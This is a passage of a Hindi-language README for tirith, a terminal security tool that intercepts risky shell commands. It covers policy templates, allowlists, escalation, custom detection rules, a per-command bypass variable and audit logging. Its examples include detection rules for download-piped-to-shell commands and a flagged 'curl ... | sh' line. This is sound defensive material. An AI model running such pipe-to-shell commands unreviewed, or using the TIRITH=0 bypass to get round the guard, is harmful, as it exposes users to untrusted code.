यह `pipe-to-shell` को `download-review-run` में पुनर्लिखित करता है, असुरक्षित-TLS फ़्लैग्स (`-k` / `--insecure` / `--no-check-certificate`) को हटाता है, और सादे `http://` को `https://` में बदलता है। ऐसे निष्कर्षों के लिए जिनका कोई सुरक्षित यांत्रिक पुनर्लेखन नहीं है (homograph hostnames, archive-extract targets, …), यह स्पष्ट रूप से यह बताता है और इसके बजाय उपचार दिखाता है, यह कभी भी झूठा सुझाव नहीं देता है। फ़्लैग सलाहकारी है: यह न तो निर्णय को बदलता है और न ही निकास कोड को।

### डेमॉन मोड (Unix)

उप-मिलीसेकंड विलंबता और नेटवर्क-जागरूक संवर्धन (छोटे URL का समाधान, DNS ब्लॉकलिस्ट जाँच) के लिए वैकल्पिक पृष्ठभूमि प्रक्रिया:```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

`tirith policy init` `--template <name>` को एक क्यूरेटेड स्टार्टर पॉलिसी के लिए स्वीकार करता है:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

जब आप किसी स्रोत पर एक नियम के लिए भरोसा करते हैं लेकिन उसे वैश्विक रूप से अनुमतिसूची में नहीं डालना चाहते, तो नियम-स्कोप्ड दमन के लिए `allowlist_rules` का उपयोग करें:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

प्रत्येक प्रविष्टि का **दायरा** `exact`, `substring`, `domain`, `wildcard`, या `bare-TLD` के रूप में वर्गीकृत किया गया है। एक व्यापक दायरा (`domain` / `wildcard` / `bare-TLD`) के लिए `--broad` आवश्यक है, इसलिए व्यापक अनुमति हमेशा एक जानबूझकर विकल्प है। सभी उप-कमांड `--format json` का समर्थन करते हैं। tirith के पुराने संस्करणों द्वारा लिखे गए ट्रस्ट स्टोर बिना किसी बदलाव के काम करते रहते हैं, बिना TTL वाली प्रविष्टि को स्थायी माना जाता है।

### वृद्धि और कार्रवाई ओवरराइड

चेतावनियाँ प्रति सत्र ट्रैक की जाती हैं। यदि एक ही नियम बार-बार सक्रिय होता है, तो वृद्धि नियम इसे ब्लॉक में अपग्रेड कर सकते हैं:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

शेल से बाहर निकलने पर, एक-पंक्ति सारांश मुद्रित किया जाता है यदि सत्र के दौरान कोई चेतावनी दर्ज की गई थी।

अधिक उदाहरण [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md) में।

### कस्टम डिटेक्शन नियम

अपने स्वयं के नियम `.tirith/policy.yaml` में `custom_rules:` के अंतर्गत लिखें। प्रत्येक नियम या तो एक `pattern:` (regex) या एक `when:` सिमेंटिक प्रेडिकेट ट्री है, साथ ही एक `context:` (`exec`, `paste`, या `file`), एक `severity:`, और एक `title:`।```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

### अधिक नीति नियंत्रण

अन्य नीति कुंजियाँ, सभी सुरक्षित डिफ़ॉल्ट के साथ (`tirith policy init` पूरी तरह से टिप्पणी किया गया सेट लिखता है):

- `package_policy:` थ्रेशोल्ड आपूर्ति-श्रृंखला संकेतों को ब्लॉक या चेतावनी निर्णयों में बदलते हैं (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` किसी कमांड के कॉलर उत्पत्ति से मेल खाते हैं (`{ kind, name }`); एक `deny` मिलान ब्लॉक को बाध्य करता है। `scan.trusted_mcp_servers` और `scan.mcp_allowed_tools` विशिष्ट MCP सर्वर और प्रति-सर्वर उपकरण स्वीकार करते हैं।
- ऑप्ट-इन गार्ड, डिफ़ॉल्ट बंद: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, साथ ही `iac_require_plan_before_apply`, `sudo_require_reason`, और `allowed_install_domains`।

रेपो-स्कोप्ड `.tirith/policy.yaml` फ़ाइलें केवल कस सकती हैं, कभी ढीली नहीं कर सकतीं: एक रेपो नीति जो अनुमति सूची को चौड़ा करने, गंभीरता कम करने, या गार्ड को अक्षम करने का प्रयास करती है, निष्प्रभावी कर दी जाती है, और `tirith policy effective` दिखाता है कि कौन से फ़ील्ड हटा दिए गए। केवल उपयोगकर्ता-स्तर और संगठन-स्तर (`TIRITH_POLICY_ROOT`) नीतियाँ ही डिफ़ॉल्ट को ढीला कर सकती हैं।

### सख्त चेतावनी मोड

`strict_warn: true` (या CLI पर `--strict-warn`) के साथ, मध्यम-जोखिम वाले निष्कर्ष इंटरैक्टिव टर्मिनलों में चुपचाप चेतावनी देने के बजाय स्पष्ट स्वीकृति के लिए संकेत देते हैं:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

यह एक मानक शेल प्रति-कमांड उपसर्ग है; वेरिएबल केवल उस एक कमांड के लिए मौजूद होता है और आपके सत्र में बना नहीं रहता। संगठन नीति में `allow_bypass_env: false` के साथ इसे पूरी तरह से अक्षम कर सकते हैं।

> [!CAUTION]
> `TIRITH=0` प्रति-कमांड है। इसे शेल प्रोफाइल, डॉटफ़ाइल्स या CI कॉन्फ़िग में एक्सपोर्ट न करें; स्थायी बाईपास संपूर्ण सुरक्षा मॉडल को विफल कर देता है। यदि आप इसे बार-बार उपयोग कर रहे हैं, तो इसके बजाय अपनी नीति फ़ाइल में `allowlist` में विश्वसनीय स्रोत जोड़ें।

---

## डेटा हैंडलिंग

स्थानीय JSONL ऑडिट लॉग `~/.local/share/tirith/log.jsonl` पर:
- टाइमस्टैम्प, सत्र आईडी, कार्रवाई, नियम आईडी, संशोधित कमांड पूर्वावलोकन
- कवरेज ऑडिटिंग के लिए लागू की गई कार्रवाई के साथ कच्चा डिटेक्शन डेटा (`raw_action`, `raw_rule_ids`) संरक्षित
- सत्र चेतावनी स्थिति `~/.local/state/tirith/sessions/` पर
- **कोई** पूर्ण कमांड, पर्यावरण चर या फ़ाइल सामग्री नहीं

अक्षम करें: `export TIRITH_LOG=0`

---

## दस्तावेज़

- [Command reference](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md): प्रत्येक उप-कमांड, श्रेणी के अनुसार समूहित
- [Threat model](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md), tirith किससे बचाता है और किससे नहीं
- [Cookbook](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md), सामान्य सेटअप के लिए नीति उदाहरण
- [Troubleshooting](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md), शेल की खामियाँ, विलंबता, गलत सकारात्मक
- [Compatibility](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md), स्थिर बनाम प्रायोगिक सतह
- [Security policy](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md), भेद्यता रिपोर्टिंग
- [Uninstall](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md), प्रति शेल और पैकेज मैनेजर साफ हटाना

फीचर गाइड:

- [Agent governance](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md) (कॉलर-मूल आरोपण और `agent_rules`)
- [MCP output filter](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md) (गेटवे और MCP आउटपुट-सैनिटाइज़ेशन अनुबंध)
- [Doctor modes](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md) (पूर्ण बनाम `--quick`, और JSON स्नैपशॉट स्कीमा)
- [LSP and editor profiles](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md) (इनलाइन संपादक डायग्नोस्टिक्स)
- [Browser native messaging](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md) (क्लिपबोर्ड-प्रोवेनेंस होस्ट और एक्सटेंशन)
- [Paste provenance](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md) (`paste_source_mismatch` नियम)
- [Canary formats](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md) (सिंथेटिक हनीटोकन प्रारूप)
- [Prompt integration](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md) (अपने शेल प्रॉम्प्ट में `tirith prompt-status` को वायर करना)

## लाइसेंस

**मुख्य सुरक्षा कवरेज ओपन-सोर्स ट्री में शामिल है।** सभी 221 डिटेक्शन नियम और MCP सर्वर स्रोत से उपलब्ध हैं। रिपॉजिटरी में अभी भी लीगेसी लाइसेंसिंग और पॉलिसी-सर्वर कोड पथ शामिल हैं, इसलिए यह न मानें कि प्रत्येक रनटाइम पथ पहले से ही टियर-मुक्त है।

tirith दोहरे लाइसेंस के तहत है:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL), कॉपीलेफ्ट शर्तों के तहत मुफ्त
- **Commercial**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL), यदि AGPL कॉपीलेफ्ट दायित्व आपके उपयोग के लिए काम नहीं करते हैं, तो वैकल्पिक लाइसेंसिंग के लिए [email protected] से संपर्क करें

तीसरे पक्ष के डेटा एट्रिब्यूशन [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE) में।

## स्टार हिस्ट्री

[![Star History Chart](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)](https://star-history.com/#sheeki03/tirith&Date)